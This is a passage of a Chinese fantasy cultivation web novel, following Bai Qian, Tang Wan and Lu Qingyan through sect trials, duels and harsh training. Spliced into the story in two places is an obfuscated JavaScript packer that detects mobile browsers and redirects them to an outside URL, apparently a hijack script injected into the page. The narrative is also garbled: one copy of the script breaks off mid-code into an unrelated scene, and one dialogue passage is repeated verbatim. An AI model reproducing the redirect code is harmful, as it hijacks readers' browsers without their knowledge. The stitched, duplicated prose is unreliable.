眼前的秋池剑阁巍峨壮观。主院的拱门如巨兽之口,青石墙壁上爬满了岁月的痕迹。“听说这届只收女弟子?”白浅整理了一下衣襟,有些不自在。“是的。”严时芳跟在身后,目光警惕地扫视四周,“城主与霓裳长老打过招呼,您只需安心修炼。只是这秋池剑阁内,似乎并不太平。”白浅点点头,正欲迈步进入。忽然,一股令人心悸的寒意自前方弥漫开来。只见主院门口的看台上,不知何时,站着一位女子。她身着一袭白裙,宝蓝色的长发如瀑布般垂落腰际,容颜倾国倾城,却冷若冰霜。若曦长老。白浅的脚步猛地顿住,头皮一阵发麻。这位可是秋池剑阁外阁三大“女魔头”之一,传闻中那个心如蛇蝎、修为深不可测的疯子!“你是巴山夜雨城的白浅吧?”若曦长老的声音传来,明明轻柔,却像是一把冰锥,狠狠扎进白浅的心脏。“跟我来。”若曦甚至没看严时芳一眼,转身便走。白浅咬了咬牙,硬着头皮跟上。穿过几道回廊,来到一处 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僻静的练武场。若曦停下了脚步,肩膀微微颤抖,她缓缓抽出腰间那柄水晶般透明的长剑。“对,杀了你之后,就能保住我的清白了。”她喃喃自语,声音里透着令人毛骨悚然的癫狂。白浅心中警铃大作,厉声道:“若曦长老,你这是何意?我与你无冤无仇!”“无冤无仇?”若曦猛地转过身,眼中满是血丝,“你那姑母白望春,毁我一生!今日,就拿你祭剑!”话音未落,长剑已至!那剑光快得超越了视觉的极限,带着刺骨的杀意,直刺白浅心窝!“想杀我?做梦!”白浅怒喝一声,体内凝煞之气轰然爆发。她虽无佩剑,但双指并拢,指尖凝聚出一道凌厉无匹的剑气。青丘涂山剑诀!这是九尾狐仙亲传的绝学,也是她在巴山夜雨城赖以生存的依仗。“铮!”双指与晶剑相撞,迸发出刺眼的火花。恐怖的气浪以二人为中心向四周扩散,将地面的青石地砖全部掀飞!同为笃行段上品,若曦长老修习顶尖功法多年,招式老辣阴毒;而白浅剑意通明,招招夺命,竟丝毫不落下风!“好一个白浅!”若曦长老越战越惊,攻势越发狠辣,“可惜,你终究要死在这里!”两道倩影在晨雾中飞速交错,剑气纵横,煞气冲天。谁也没有注意到,远处的云端之上,一双苍老的眼睛正冷冷地注视着这一切。 22. 空山新雨晚来秋 诛心塔第二层,封闭练武场内。时间仿佛在这里失去了意义,只有那令人窒息的对峙。唐婉握剑的手在微微颤抖,虎口已经崩裂,鲜血顺着剑柄缓缓滴落。她面前的洛瑶,依旧是那副倾国倾城的模样,但此刻在唐婉眼中,这美丽却是世间最恐怖的梦魇。“最强大的笃行境后期”唐婉喃喃自语,体内的混沌珠以前所未有的速度疯狂旋转,试图汲取周围空间中稀薄的灵气来修补几乎破碎的经脉。洛瑶并没有急于进攻,她只是静静地站着,眼神中带着一丝怜悯:“你的意志很顽强,但在绝对的境界压制面前,一切技巧都是徒劳。这一指,名为‘碎星’。”话音未落,洛瑶动了。依旧是简简单单的一指,没有花哨的剑招,只有纯粹到极致的力量碾压。“嗡——!”空气发出不堪重负的悲鸣。唐婉感觉周围的空气瞬间变得粘稠如胶水,将她死死定在原地。那根手指,仿佛从远古走来的死神,无视了空间的距离,直点唐婉的眉心!避无可避。挡,亦无法挡。“我不能死在这里!”唐婉双目赤红,眼中倒映着那根越来越近的手指,“白浅还在等我,青烟还在下面看着我!”一股从未有过的疯狂念头涌上心头。既然躲不掉,那就——吞了它!“混沌,噬界!”唐婉一声厉喝,体内的混沌珠骤然爆发出恐怖的吸力。她不再试图用剑去格挡,而是将全身的凝煞之气,连同那颗混沌珠本身,化作一张贪婪的血盆大口,主动迎向了那根手指!“轰——!!!”震耳欲聋的轰鸣在封闭的空间内炸响。唐婉只觉一股毁灭性的力量顺着经脉疯狂涌入,五脏六腑瞬间移位,喉头一甜,一口金色的血液狂喷而出。她的身体如断线风筝般倒飞出去,重重撞在铁壁之上,将坚硬的铁壁撞出一个巨大的凹陷。“咔嚓。”她手中的闪魂剑,竟在这一击之下,出现了细微的裂纹。“有意思。”洛瑶收回手指,看着瘫软在地的唐婉,眼中闪过一丝讶异,“竟然没死?而且还消化了我三成力道?你这体质,倒是罕见。”唐婉趴在地上,大口喘息,每一次呼吸都带着血腥味。她赢了?不,她只是没死。但这就够了。“你输了。”唐婉艰难地抬起头,嘴角勾起一抹带血的冷笑。洛瑶怔了一下,随即莞尔一笑,那笑容比之前更加真实动人:“没错,你接住了。或者说,你‘吃’下了这一招。你通过了第二层第一关。”话音落下,洛瑶的身影开始变得透明,化作点点灵光消散在空气中。铁门“轰隆隆”开启,通往上一层的阶梯显露出来。塔外,雨韵剑宗广场。气氛凝重得能滴出水来。几位长老死死盯着灵气镜面,刚才那一战的波动,即便隔着塔壁,也让他们感到心惊肉跳。“那唐婉竟然没死?”“那可是笃行境后期的全力一击啊!她一个中期修士,怎么做到的?”“你们看她的眼神,那不是求生的眼神,那是野兽般的嗜血!”雨灵长老眉头紧锁,手指不停地敲击着扶手:“这丫头,是个变数。若是她真闯过去了,雨韵剑宗这潭水,怕是要被她彻底搅浑。”就在这时,陆青烟从塔中走出。她并没有继续往上闯,而是直接退了出来。“青烟,你怎么出来了?”一位长老问道,“以你的天赋,完全可以冲击第三层。”陆青烟脸色有些苍白,但眼神异常坚定:“长老,我若强行去闯第三层,必死无疑。而且唐婉还在里面。”她抬头看向那高耸入云的塔尖,眼中满是担忧与信任:“我要在这里等她。”诛心塔内,第三层。唐婉拖着几乎散架的身体,一步步走上了这一层。出乎意料,第三层并非练武场,而是一座巨大的藏书阁。空气中弥漫着淡淡的墨香,一排排书架上堆满了古籍。“第三层,考校剑道悟性。”一个苍老的声音在空旷的大殿中回荡,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594647|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选取一本剑谱,一炷香内,悟出其精髓。”唐婉走到书架前,随手抽出一本《雨韵基础剑诀》,她翻开第一页,无数晦涩的文字和剑招图解涌入脑海。常人需要数年才能领悟的剑招,在唐婉那“剑心通明”的境界下,不过一瞬。一息、两息,仅仅十息,唐婉便合上了书卷。“悟透了?”“悟透了。”“通过。”过程平淡得出奇。但当唐婉走出第三层大门时,她身上的气息已然不同。虽然修为还是笃行境中期,但她那一身剑意,却变得更加圆融、内敛,如深渊般不可测。雨韵剑宗,剑丹院。夕阳西下,将整个宗门染成一片金黄。唐婉和陆青烟并肩走出诛心塔,两人的名字,已高悬在新生榜首。作为通过考核的外阁弟子,她们的第一站,便是剑丹院领取修炼资源。剑丹院大殿内,一位胖乎乎的女长老正打着哈欠,清点着桌上的玉盒。“新来的?叫什么名字?”长老眼皮都没抬。“唐婉。”“陆青烟。”胖长老手指一顿,猛地抬起头,上下打量着唐婉,眼中精光一闪:“哦?你就是那个在诛心塔里把洛瑶都干趴下的唐婉?”唐婉心中一凛,知道这雨韵剑宗的水比想象中更深。“弟子不敢,侥幸过关。”“少来这套。”胖长老咧嘴一笑,露出两颗金牙,“既然你这么能打,那这‘剑丹’,你可要拿稳了。”她将一枚赤红色的玉盒推到唐婉面前。盒子打开,里面躺着的不是丹药,而是一颗龙眼大小、不断跳动着火焰的剑丹!“这是‘赤炎剑丹’,能助你将剑气凝实,甚至能孕育出剑意雏形。”胖长老嘿嘿一笑,“不过丑话说在前头,这剑丹脾气大得很,若是降服不了,被它反噬,可是会经脉尽断的。”唐婉看着那颗狂暴的剑丹,嘴角勾起一抹冷笑。降服?她最喜欢干的,就是把狂暴的东西,踩在脚下,她不仅要活着,更要掌控这世间一切狂暴的力量。 23. 秋池漫道垂钓寒 剑气纵横,煞气如龙。白浅与若曦长老已战至癫狂。两道身影在晨雾中穿梭,快得只剩残影。长剑相交的频率越来越高,迸发出的火星尚未落地便被下一波剑气撕裂。空气中充斥着“嗤嗤”的锐响,仿佛连空间都要被这股恐怖的力量搅碎。“好一个青丘涂山剑诀!”若曦长老鬓发微乱,眼中的癫狂更甚,“可惜,你终究要死在我的剑下!”就在两人剑势攀升至顶点,即将拼个你死我活之际,“住手。”声音不高,却如洪钟大吕,瞬间穿透了剑气的呼啸。不是呵斥,而是陈述。仅仅三个字,白浅和若曦长老手中的剑,竟同时一滞,仿佛被无形的锁链捆缚,再也无法递出分毫。两人身形急退,警惕地望向声音来源。秋池剑阁外阁院主——素贞,不知何时已出现在池畔的一方白石上。她身着一袭金色长袍,袍上绣着的龙凤并非绣线,而是由纯粹的灵气凝聚而成,随着微风轻轻飘动,金光流转,华贵不可方物。她手中拿着一根看似普通的钓竿,正慢条斯理地将鱼线收回。“拜见院主!”周围观战的弟子和长老纷纷躬身,头颅深埋,不敢直视那金色的身影。若曦长老咬了咬牙,收剑行礼,但眼中的不甘依旧如火燃烧。白浅也连忙收起剑气,恭敬一拜:“学生白浅,见过院主。”素贞院主并未回头,依旧望着平静无波的池面。“白浅。”她轻轻捻动钓竿,语气平和得仿佛在谈论天气,“你可知道,为何要在此时召见你?”白浅恭敬回道:“学生不知。”她偷偷抬眼打量这位传说中的人物。素贞院主看上去已有古稀之年,满头银发如雪,但那双手和侧脸却光滑如玉,没有一丝皱纹,仿佛岁月只敢染白她的发丝,却不敢在她脸上留下痕迹。“你初入秋池,便能与若曦战得旗鼓相当,天资卓绝。”素贞院主淡淡道,“老身本就有意收你为徒。今日若曦此举,看似鲁莽,实则是我对你的最后一次考验。”白浅心中一震,豁然开朗。原来,这并非一场无妄之灾,而是一场注定的“杀机”。“你通过了。”素贞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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九曲回廊,霜色骤寒。一道玄色斗篷如夜枭般自太湖石后飘出,沙哑的女声裹着冰碴,刺破凝滞的空气:“雨灵院主好手段,竟用唐婉体内的雨龙真血作饵?”雨灵长老广袖中的青玉司南佩骤然发烫,她抬眸望向廊下阴影,冷笑道:“可惜,只钓出司徒长老这条漏网之鱼。”话音未落,玄色斗篷轰然炸裂!露出其下身形佝偻的老妪——司徒长老。她枯枝般的手指掠过鬓边银丝,眼中精光暴涨,袖中滑出两截赤红枪杆。“铛——!”铭纹碰撞,血色光焰迸发。“十年未见院主动用周天星辰步,今日倒要看看——”司徒长老身形暴退,枪尖挑起的火浪惊飞了檐角铜铃,“你的星宿劫,可挡得住我的焚天枪?”火浪滔天,却在那金袍身影面前戛然而止,雨灵长老轻笑出声,腕间翡翠镯子泛起涟漪,十二元辰阵在脚下轰然展开。角宿星光如银河倾泻,在她指尖凝成冰晶,于虚空绘出枪势轨迹。“司徒长老可知”雨灵长老声音清冷,指尖冰晶骤然刺入虚空,“为何诛心塔第三层的星图,总在月蚀夜显现血色?”“嗡——!”司徒长老面色骤变,她手中八尺血枪突然疯狂震颤,枪身铭刻的日轮纹竟与雨灵绘制的星图产生共鸣。更可怕的是,那滔天火浪中,竟浮现出细密的雨燕暗纹——正是雨韵剑宗亲传弟子的独有标记!“不可能!”老妪喉间发出野兽般的嘶吼。枪尖火浪诡异地转向,狠狠撞向神力长老殿的穹顶,刻下一道狰狞的血色卦象。“轰隆!”陆青烟袖中龟甲应声飞出,与卦象碰撞出刺目电光:“兑泽噬人,坎离易位——这是内院禁术!”静禅长老的金袍无风自动,头顶浑天仪投射的光柱,如天罚般瞬间穿透司徒长老眉心!老妪身后,虚幻的日晷法相轰然破碎。“干什么?”雨灵长老冷声截断,掌心龙鳞纹与唐婉怀中罗盘同时亮起刺目光芒。司徒长老身形暴退,玄铁拐杖“哚”地钉入地面。九曲回廊的霜色瞬间被染成血色!“咻!”燕照影腰间蛟纱短剑出鞘,剑锋直指老妪咽喉。电光石火间,司徒长老向右横移一步,脚掌一点,身体如大鸟般掠起,刹那间飞过神力长老殿围墙,向远处遁逃。“彩羽楼余孽,还敢来雨韵剑宗放肆!”一声洪钟般的怒喝响起。小青副院主拄着拐杖,缓步自阴 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影中走出。她看似佝偻,但那双浑浊的眼珠倒映着漫天血色霜花,仿佛能洞穿九幽。“司徒长老可知,”小青副院主的声音响彻云霄,“为何今年新生第一,是唐婉?”“噗!”火焰长枪“滴血”如火龙般倒飞而回,洞穿司徒长老胸膛,将她死死钉在七米高的厚实墙壁上!砖石崩裂,墙体摇摇欲坠。唐婉快步后退,瞳孔紧缩。那司徒长老口中鲜血狂涌,眼中满是不可置信。她挣扎着想拔出长枪,却见小青副院主只是轻轻一挥袖“轰!”神力长老殿的围墙彻底坍塌,烟尘漫天。司徒长老的身体,在烟尘中化作一具枯槁的干尸。全场死寂。小青副院主扫视全场,目光最终落在唐婉身上。“老身乃外院副院主,小青。”她声音洪亮,震得人耳膜发麻,“按规矩,神力长老殿每月开启三次。但今年不同”拐杖重重一顿,地面龟裂。“唐婉、陆青烟,随我入殿修炼!”所有女剑修齐声行礼,眼中满是敬畏。唐婉低头,能清晰感觉到怀中罗盘滚烫无比,仿佛在呼应着殿内某种古老的存在。惜春之年,血色未尽。而她体内的雨龙真血,才刚刚开始觉醒。 25. 霜月龙鳞共圣树 三具女杀手的残躯,被三根泛着寒光的铁钉,死死地钉在雨韵剑宗外院的青砖墙头。暗红的血渍尚未干涸,在清冷的月华下泛着诡异的幽光,宛如三朵盛开的彼岸花。 百余名女弟子远远围着,敢怒不敢言,空气中弥漫着浓重的血腥与肃杀“选这条路,就该有血溅三尺的觉悟。”唐婉身后,传来陆青烟清冷的声音。她正倚着一根断裂的立柱,指尖缠绕的千机线如蛛网般将满地瓦砾串成诡异的星链,“彩羽楼派来的三个‘夜枭’,全折了。连司徒老太婆那柄焚天枪,也断成了两截。”“玄字殿塌了半边。”唐婉踢开脚下一块刻着“雨”字的青砖,砖缝里还冒着青烟,“雨灵长老说,重修要等雨季过后。看来,这雨韵剑宗的屋顶,也得靠天吃饭。”“天要下雨,娘要嫁人。”陆青烟轻笑一声,目光却如鹰隼般扫视着黑暗的角落,“只是不知,这雨里藏的是龙,还是蛇。”“白浅!”一声清叱破空而来,如寒冰撞击。两人回头,只见若曦长老踏月而至。她身着月白剑袍,袍上绣着的秋池水纹随着步法流转,仿佛有滔天水浪在脚下奔腾。“雨韵剑宗的请帖已发三日,你竟还在此磨蹭?”若曦长老冷冷地看着白浅,眉眼间却凝着一层化不开的霜色。“师父”白浅低头行礼,耳垂上的冰晶坠子轻轻摇晃,折射出迷离的光。若曦长老走近一步,声音压低了几分,却带着不容置疑的威严:“星灵长老、水寒长老更是力荐你去雨韵剑宗。你可知为何?”白浅咬了咬唇:“弟子愚钝,只知三位长老厚爱。”“少贫嘴。”若曦长老袖中飞出一条冰绡,如灵蛇般缠住白浅的手腕,将她猛地拉近,“星灵长老的千机线已算出,你与雨韵剑宗有八段星缘;水寒长老的寒髓,更是能重塑你的经脉根基。”她忽然凑近,声音低得像是在说一个禁忌的秘密:“你难道不想知道,二十年前秋池剑阁与雨韵剑宗,到底发生了什么吗?”白浅娇躯一震,瞳孔骤然收缩。与此同时,唐婉与陆青烟已行至殿外。一道冰蓝色的剑光划破夜空,如流星般坠落。白浅御剑而来,发髻间的冰晶簪与剑光交相辉映,落地时,一圈霜花以她为中心轰然绽放。“唐姑娘。”白浅收剑行礼,指尖还残留着寒髓的幽幽蓝光,“若曦长老让我带话。为了巴山夜雨城的荣誉,特命我代表秋池剑阁,前来观礼雨韵剑宗外院新生比武。”唐婉目光一凝,落在白浅腰间那枚玉佩上——那是秋池剑阁核心弟子的凭证,上面刻着繁复的秋池水纹。“白大小姐客气了。”唐婉淡淡一笑,眼中却无笑意,“其实你在武道上的天赋极高,将来成就不可限量。”“唐姑娘谬赞。”白浅微微欠身,语气中带着一丝不易察觉的亲近,“若曦长老承诺,会给你送来十滴‘圣斗士真液’。大概三日之内,你就能收到。两个月后便是季度考核,你要努力修炼,争取在剑宗新生比试上夺魁,为我们巴山夜雨城争光。”“有劳白大小姐挂心。”唐婉拱手,“我一定尽力而为。”白浅的目光转向陆青烟,秀眉微蹙,似在思量什么,半晌才道:“司徒长老虽死,但雨韵剑宗中肯定还潜伏着彩羽楼的余孽。他们的修为应该不会太高,但防不胜防。”她顿了顿,眼神变得锐利:“陆小姐,今后两个月,就由我和你一起来保护唐姑娘。你没问题吧?”“当然没问题,白大小姐放心 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便是。”陆青烟笑道,指尖的千机线却悄然绷紧。白浅点点头,停下脚步,摸了摸下巴,眼中闪过一丝狡黠:“走吧,我们现在去见雨灵院主。”外院第一号院主楼。大门敞开着,仿佛一张吞噬光线的巨口。唐婉、白浅、陆青烟三人刚跨入门槛,一道凌厉的剑风便迎面扑来!“咻——!”一柄宝蓝色的长剑自二楼窗户激射而出,贴着唐婉的鼻尖飞过,削断了几缕发丝。“哼!”雨灵院主从屋中缓步走出来,傲然立于楼梯之上。她盯着三人,目光如冰冷的刀锋,扫过唐婉惊魂未定的脸,最后定格在白浅身上。她手臂向前一伸,五指虚空一抓。“呼——!”一股扭曲的风劲凭空而生,将插在石壁中的蓝色宝剑硬生生拔出,如磁石般吸回她掌心。“今后,唐婉跟我住在二楼。”雨灵院主的声音冷若冰霜,不容置喙,“白浅姑娘和陆丫头,你们就住在一楼大堂。”她居高临下,睫毛微微上翘,带着一种天生的优越感:“没有我的允许,你们——包括你,巴山夜雨城的大小姐——绝不能踏上二楼一步。有异议吗?”白浅恭敬一礼:“院主放心,白浅绝不敢打扰。”唐婉心中冷笑,面上却不动声色。她抬头打量这栋诡异的楼宇。二楼大堂宽敞深邃,隐约可见里面有书房、琴室和练武堂。练武堂足有八米长,六米宽,四面皆是厚重的石壁,石壁上还刻满了复杂的阵法铭纹,显然是防止剑气击穿墙壁,波及楼下。在这个世界,武道进阶分为四境:初窥、笃行、化境、凌霄。而雨灵院主的修为,深不可测,恐怕早已站在了凌霄的巅峰。潜龙在渊,唐婉知道,这看似苛刻的安排,或许正是她突破瓶颈的契机。 26. 圣液凝霜仙踪现 她低头看向唐婉,眼中满是喜色三日转瞬即逝。秋池剑阁的传讯玉符划破长空,十滴“圣斗士真液”安然送至雨韵剑宗,落入唐婉掌心。真液入体,如滚石入湖。唐婉盘膝于二楼静室,周身毛孔舒张,磅礴的药力如星河倒灌,冲刷着她的经脉。她借此机会,将新悟的身法融入血液,每一次呼吸,身形都在虚空中留下淡淡的残影。楼下大堂。白浅与陆青烟仰头望着二楼那道若隐若现的身影。“那是‘九天七仙踪’。”白浅秀眉微蹙,眼中满是惊艳,“至少是灵级下品的身法。她竟已修炼至此境地。”陆青烟指尖轻点扶手,分析道:“身法武技向来稀有,我如今修炼的不过是‘飞絮步’,人级上品罢了。雨韵剑宗的身法大多阴柔,并不适合我。看来,只有进入内宫,才能寻得合适的灵级身法。”“可惜,这等身法即便得到了,宗门也绝不会外传。”白浅摩挲着手腕上的冰晶坠子,忽然灵光一闪,“要不让唐师姐教我们?”陆青烟没好气地白了她一眼:“灵级下品?何等珍贵。她虽待你亲厚,但这等核心传承,岂会轻易授人?”“唐婉师姐不是吝啬之人。”白浅笑道,眼中闪过一丝狡黠,“何况,这关系到巴山夜雨城的荣誉,她不会拒绝的。”正说话间,唐婉收功下楼。衣裙飘飘,身姿婀娜,她每一步踏出,仿佛都踩在某种玄奥的韵律之上,不带一丝烟火气。“二位师妹在看什么?”唐婉问道。白浅眨巴着大眼睛,一脸求知欲:“唐师姐,你刚才修炼的是什么高深身法?能否教教我们?”唐婉一愣,随即笑道:“并非什么高深武技,只是《九天七仙踪》罢了。二位师妹若想学,我自当倾囊相授。”她言出必行,当即取过纸笔,将法诀写下,递与二人。“此法诀只能记下招式,至于步法神髓,以我现在的修为,也难以画出。只能一边修炼,一边给你们讲解。”白浅与陆青烟接过法诀,神识一扫,越看越是心惊。这哪里是普通的灵级武技,分明是直通大道的无上法门!“白浅,记住了吗?”陆青烟低声问。“自然。”白浅合上法诀,眼中精光闪烁,“以我如今的精神力,过目不忘。”“刺!”陆青烟毫不犹豫,掌心真气一吐,直接将那本法诀化为齑粉。这等重宝,绝不能有第二份流传在外!接下来的数日,唐婉将九天七仙踪的九种步法逐一演示,详解其中的八十一种变数。白浅与陆青烟皆是绝顶天才,举一反三,领悟力惊人,短短数日,便已掌握了皮毛。这一日,霜色漫过九曲回廊。唐婉正演练身法,忽觉背后一寒,三道凌厉的目光如冰锥般刺来。“秋池剑阁的三位‘女魔头’,也来雨韵凑热闹?唐婉收势转身,只见三位女长老踏着冰莲破空而来。为首者,发间插着十二枚冰晶发簪,每枚皆刻不同星宿,正是若曦长老。她广袖拂过,空气凝结成霜花:“唐婉那丫头在诛心塔闹出的动静,倒是把你们的心都搅乱了。”“若曦师姐说笑了。”左侧一位长老轻笑,手中星图剑滴溜溜旋转,正是星灵长老,“秋池剑阁的‘霜月九式’,正缺个试剑之人。”右侧的水寒长老未发一言,但腰间水纹剑已出鞘三寸。剑光掠过唐婉发梢时,她竟在剑身上看到了自己的倒影——玄色劲 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装上,暗绣着二十八星宿的纹路!“随我来。”若曦长老突然出手,一把抓住唐婉的手腕。冰霜顺着经脉直窜心口,唐婉正欲反抗,却见若曦长老将五个玉瓶塞入她怀中。“雨灵院主,别来无恙啊。”水寒长老剑尖点地,冰裂纹瞬间蔓延百丈。“若曦长老、星灵长老、水寒长老,什么风把您三位吹来了?”雨灵院主自楼内走出,满脸堆笑,亲热地拉起唐婉的手,“这三位是秋池剑阁的长老,路过我这不毛之地,说是要游历一番。”她低头看向唐婉,眼中满是喜色:“唐婉啊,快来见过三位长老。你看,秋池剑阁出手多大方,直接送了五瓶圣斗士真液给我的爱徒。”唐婉抱着怀中的玉瓶,一脸懵然。这到底是怎么回事?前一秒还要杀她的若曦长老,现在却成了送宝的贵客?若曦长老居高临下,脸上挂着刻意压制的笑容,老气横秋道:“很不错的小丫头。不过,光长得好看是没用的,在这个世界上,实力才是一切。”唐婉差点被一口口水呛死。她满脑子只剩下一个念头:这惜春之年,怎么越活越糊涂了?“唐婉啊,快来见过三位长老。你看,秋池剑阁出手多大方,直接送了五瓶圣斗士真液给我的爱徒。”唐婉抱着怀中的玉瓶,一脸懵然。这到底是怎么回事?前一秒还要杀她的若曦长老,现在却成了送宝的贵客?若曦长老居高临下,脸上挂着刻意压制的笑容,老气横秋道:“很不错的小丫头。不过,光长得好看是没用的,在这个世界上,实力才是一切。”唐婉差点被一口口水呛死。她满脑子只剩下一个念头:这怎么越活越糊涂了? 27. 玄裳踏雾破重关 圣斗士真液入体,如星河倒灌。唐婉只觉体内一阵翻江倒海,旋即归于古井无波。心脏猛烈跳动两下,经脉中的煞气瞬间浓郁了几分,仿佛从涓涓细流化作了奔腾江河。“轰!”一股磅礴的气浪以她为中心扩散开来。立足处的石壁阵法铭纹骤然亮起,将这股冲击力导向两侧,竟无半分反震之力。唐婉睁开眼,眸中精光一闪而逝。雨灵长老的声音自楼上传来,带着毫不掩饰的赞许:“恭喜婉儿,晋升笃行段小极位。”唐婉轻笑一声,感受着体内那层无形的壁垒被彻底冲破,“比上次晋升自然多了。”风裹着潮气扑面而来,她阖目站在石桌上,任由月华将玄色劲装浸出霜纹。指尖罡气流转,她忽然轻笑出声——原来所谓天人屏障,不过是水到渠成的薄纱。血光溅上眉心的瞬间,那些蛰伏在经脉里的阴魂突然齐声吟啸。周天罡煞之气已凝成实质,在丹田处盘旋。唐婉伸手触碰那团幽蓝罡心,指尖竟带起细碎冰晶。“奇了。”她望着地面上跃动的银辉,笃行段小极位的修为,竟能感知到天地能量的本相。风在裙裾间游走如活物,火元素在浪尖跳跃,雷光隐入云层时,连发间的冰晶簪都跟着震颤。这些本该是凌霄段武道神话才能触碰的法则,此刻却在她周身交织成网。月光忽然大盛。唐婉猛然抬头,见天地相接处泛起诡谲的青光——那是只有借尸还魂者才能看见的虚空裂隙。前世身为凌霄段中品高手的记忆,在此刻轰然苏醒。她伸手握住飘至眼前的冰蓝花瓣,霜月九式的口诀突然在识海浮现。“原来如此。”罡气在掌心凝成冰晶莲花时,唐婉终于明白这场顿悟的缘由。那些被杀戮淬炼的阴魂,那些在生死间游走的本能,此刻尽数化作滋养罡心的养料。海风卷起她的长发,露出耳垂上摇晃的冰晶坠——那是雨灵长老的信物,此刻正随着她心境的提升,泛起淡淡星芒。月光将她的影子拉得很长,玄色劲装上的二十八星宿暗纹,正在与天幕遥相呼应。“地隐门门主白梦秋、巴山夜雨城城主白望春”唐婉心中冷笑,“你们让本小姐来的,到底是什么鬼地方?”直到此刻,她才隐隐觉得不对劲。回想起当初那二人推荐自己时的表情,分明就像两只披着羊皮的狼,把她给拐卖进了狼窝。早上的训练,是练速度,一个时辰跑三百里。白天的训练,是练肉身,只有容器够强,才能容纳更多的天罡地煞之气。而晚上的训练,唐婉目光扫向练武堂内同样在修炼的白浅和陆青烟,心中笃定:绝对就是训练定力和心性了。一个实力强大的高手,光有境界是不够的,定力和心性若不匹配,遇到强敌极易心神失守“若曦长老、星灵长老、水寒长老,绝不是来游山玩水的。”唐婉低声对二人说道。话音未落,若曦、星灵、水寒三人已悄然出现在雨灵长老身侧。四位巨头俯瞰着下方的练武堂,眼中闪烁着诡异的光芒。“差不多了吧?”雨灵长老问。“差不多了。”若曦长老嘴角勾起一抹戏谑,“逗她们玩玩,也挺有趣的。”她嘴唇微动,发出一串细不可闻的声响蛇语。“嘶嘶嘶!”原本安静的练武堂,瞬间如沸水炸锅。四面石壁的洞眼中,无数五彩斑斓的毒蛇蜂拥而出,聚拢在三女周围!“陆师姐!”白浅声音一颤。只见陆青烟身上已爬上两条毒蛇,正顺着她的脖颈,往衣领里钻去。“嘘!不要喊!”唐婉急忙低喝,“现在动,就是死!”陆青烟身体僵直:,眼中满是惊恐。一条蛇头正抵着她的下颌,蛇信吞吐,几乎舔到她的脸颊。白浅更惨,胸口衣襟蠕动,一只三角脑袋正从里面探出来。她长睫抖动,水汪汪的眼睛里满是羞愤欲哭,却死死咬着唇不敢动弹。雨灵长老那讨厌的声音传了下来:“别怕,毒牙都拔了。而且它们只攻击有动静的目标。不动,就不会有 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事。”即便如此,女孩们依旧脊背发凉。毒蛇爬过皮肤的那种滑腻感,足以让任何人崩溃。唐婉强迫自己闭上眼,将心神沉入丹田。“闭目凝神,打坐恢复。把注意力放在功法上,就什么都感觉不到了。”三女依言而行。可在这万蛇缠身的处境中,想要入定何其艰难?每一根神经都紧绷着,感知全被身上那冰凉的蠕动占据。前一个时辰,唐婉几乎毫无进展。每当她即将进入状态,那滑腻的触感便将她惊醒。直到一个时辰后,她才渐渐摒弃外界感知,全心全意运转功法,恢复耗尽的罡气。不知过了多久。一只微凉的手轻轻推了推她的肩膀。唐婉几乎是条件反射,猛地伸手,一把掐住了来人的脖子!“呃……”对方发出一声痛苦的闷哼。唐婉猛地睁眼。映入眼帘的,是白浅惊恐万状的脸。她僵直地站在原地,脖子上还缠着半条蛇,正可怜巴巴地望着自己。“唐……唐师姐……”白浅的声音都在发抖“该……该吃早饭了。”唐婉触电般松开手,心中一阵后怕。这三个月的地狱训练,竟让她的神经绷紧到了这种地步。三个月。整整三个月的折磨,让三女体内的经脉和丹田对能量产生了极度的渴求。在这种高压下,她们的修为竟自然而然地突破了桎梏,晋升到了笃行段中品。唐婉回想起自己的晋升之路:初入地隐门,得九天玄女馈赠,从凝煞七阶起步,与赵雨菲、陆青烟修行,耗时两月晋升初窥段小极位。龙渊宝藏得闪魂剑,耗时两月晋升初窥段中极位。巴山夜雨城为白浅解毒,晋升初窥段大极位。雨韵剑阁入学,诛心塔战洛瑶,以初窥巅峰之境晋升笃行段下品,耗时三月。而如今,在这毒蛇窟般的练武堂中,仅仅三个月,便已至笃行段中品。每一次晋升,都伴随着生死危机与地狱般的磨练。但这一次,唐婉清楚,这绝不是终点。蛇窟只是开始。真正的风暴,还在后头。 28. 霜刃淬三姝剑魄 晨光未露,寒潭之畔仅余虫鸣。 唐婉指尖还残留着昨夜掐住白浅脖颈时的冰冷触感,那并非杀意,而是这三个月地狱特训后,身体留下的应激烙印。 “躬身入局……” 唐婉低声呢喃,望着潭水中倒映的、早已不再稚嫩的面容。 地煞大陆三大顶尖势力——一城,一楼,一殿。 一城,便是她们所在的巴山夜雨城;一楼,是那阴魂不散的彩羽楼;而那一殿,则是凌驾于万物之上的恒古神殿。至于秋池剑阁与雨韵剑宗,虽是剑修圣地,却终究只是这宏大棋局中的两颗棋子。 她们以为自己在为巴山夜雨城的荣耀而战,殊不知,从踏入这扇门开始,她们便已站在了风暴的中心,成了棋局中那枚最不由自主的“活子”。 “唐婉,发什么呆?”陆青烟抱着九霄环佩琴蹦跳而来,打破了黎明前的死寂,“昨夜那坛梅子酒还有剩,我加了点晨露,正好配你新练的剑。” 唐婉收回思绪,接过酒坛。辛辣的液体入喉,却化作了心头的清明。 她不再是为了复仇而活的唐婉,她是这局中搅动风云的人。 灶房内,白浅正踮脚去够橱柜顶端的梅子露。 素纱裙摆沾了灶灰,却掩不住她眼中的得意:“我可是巴山夜雨城城主的亲侄女。你说,若我入得内院,那几位老妪会不会抢着收我为徒?” 唐婉拎着湿漉漉的剑穗推门而入,发梢还挂着寒潭的水珠,闻言嗤笑一声:“明白了——也就是说,若我没能治好你,姑母大人怕是会把这灶房拆了,顺便把我绑去城主府顶罪,哪还有什么荣华富贵?” 